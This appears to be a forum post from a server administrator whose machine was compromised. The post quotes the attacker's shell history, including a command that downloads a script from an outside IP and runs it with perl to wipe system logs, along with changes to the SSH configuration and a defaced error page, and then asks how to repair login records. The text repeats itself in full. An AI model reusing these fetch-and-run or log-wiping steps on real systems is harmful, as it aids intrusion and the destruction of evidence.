Hi today I received a hacking attempt, somehow I dont know yet they get into one of my servers, they modified my sshd_config and they blockme away from accessing to the server anymore. So a technician of the DC went to my machine, restored the sshd_config file and I was allowed to log again.
Looking at my root .bash_history i found:
pico /usr/local/apache/conf/includes/errordocument.conf (they modified a 403 page to some hacked site)
service httpd restart
ls -l /
chmod 000 /home
w
w
w
chmod 711 /home
cd /tmp
perl log
wget 41.140.123.34/log
perl log
top
mcedit /etc/ssh/sshd_config
service sshd restart
exit
ok this is what the attacker did, the file log that he downloaded is a file that remove all traces, but he forgot this one.
I have blocked all africa traffic as a first step, now the log script removed the following files:
/var/log/lastlog
/var/log/messages
/var/log/warn
/var/log/wtmp
/var/log/secure
/var/log/auth
/var/log/auth.log
I had to restore wtmp file. Now the problem is the following if I log to the server shows me no users on it, when I run TOP show 0 users and Im online in the server, also if I put who or w shows nothing.
How do I fix this???
Thank you!
Looking at my root .bash_history i found:
pico /usr/local/apache/conf/includes/errordocument.conf (they modified a 403 page to some hacked site)
service httpd restart
ls -l /
chmod 000 /home
w
w
w
chmod 711 /home
cd /tmp
perl log
wget 41.140.123.34/log
perl log
top
mcedit /etc/ssh/sshd_config
service sshd restart
exit
ok this is what the attacker did, the file log that he downloaded is a file that remove all traces, but he forgot this one.
I have blocked all africa traffic as a first step, now the log script removed the following files:
/var/log/lastlog
/var/log/messages
/var/log/warn
/var/log/wtmp
/var/log/secure
/var/log/auth
/var/log/auth.log
I had to restore wtmp file. Now the problem is the following if I log to the server shows me no users on it, when I run TOP show 0 users and Im online in the server, also if I put who or w shows nothing.
How do I fix this???
Thank you!